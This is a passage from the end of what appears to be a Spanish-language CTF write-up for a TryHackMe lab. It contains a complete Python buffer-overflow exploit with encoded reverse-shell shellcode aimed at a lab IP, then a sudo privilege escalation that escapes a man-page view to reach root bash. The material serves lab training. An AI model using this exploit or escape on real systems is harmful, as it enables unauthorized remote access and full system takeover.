target = "10.10.163.114"

def code():

	buff = "A"*524
	EIP = "\xf3\x12\x17\x31"
	decod = "\x83\xEC\x14"
	shellcode = (
	"\xdb\xc6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x18\xbe\x82"
"\xd4\xdf\x0f\x83\xeb\xfc\x31\x73\x13\x03\xf1\xc7\x3d"
"\xfa\x9f\xec\x99\x9c\x0d\x95\x71\xb2\xd2\xd0\x65\xa4"
"\x3b\x90\x01\x35\x2b\x79\xb0\x5c\xc5\x0c\xd7\xcd\xf1"
"\x36\x18\xf2\x01\x66\x7a\x9b\x6f\x57\x18\x3a\x1c\xcf"
"\xfc\x91\x81\x2f\xda\x8b\x24\x43\x4c\x6c\x8b\xca\xac"
"\x52\xf5\x2c\x82\xce\x9c\x5a\xf3\x7a\x3d\xd3\x24\xb2"
"\xf1\x3d\x03\x9a\xc0\x76\x45\xcc\x13\x4b\x91\x3f\x67"
"\x9f\xd2\x1f\xb7\xe1\x32\x51\x90\x1d\x6c\xc2\x57\xfc"
"\x5f\x64"
)


	BoF = buff + EIP + decod + shellcode

	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,9999))
	s.send(BoF)


if __name__ == '__main__':

	code()

Pongo un netcat a la escucha en la máquina atacante por el puerto 443 y ejecuto el exploit, consiguiendo una shell reversa.

Escalada de Privilegios

Ejecuto un sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar y encuentro que puedo ejecutar sudo /home/anansi/bin/anansi_util sin contraseña.

sudo -l

Como desconozco este comando, lo ejecuto para ver que hace y me permite realizar tres acciones.

sudo /home/anansi/bin/anansi_util

De las tres opciones, la mas interesante es la de manual ya que me deja elegir un comando y voy a ejecutar bash a través de esta utilidad.

sudo /home/anansi/bin/anansi_util /bin/bash

Al hacerlo, se abre la página de instrucciones de bash, por lo que intento salir de ella con el comando !/bin/bash (comando ciego) y al salir ya soy usuario root.

Esta máquina realmente no tiene flag, pero encuentro un fichero txt que podría interpretarse como la flag en la ruta /root/b.txt.

Publicado enBuffer OverflowCTFLinuxOSCPTHM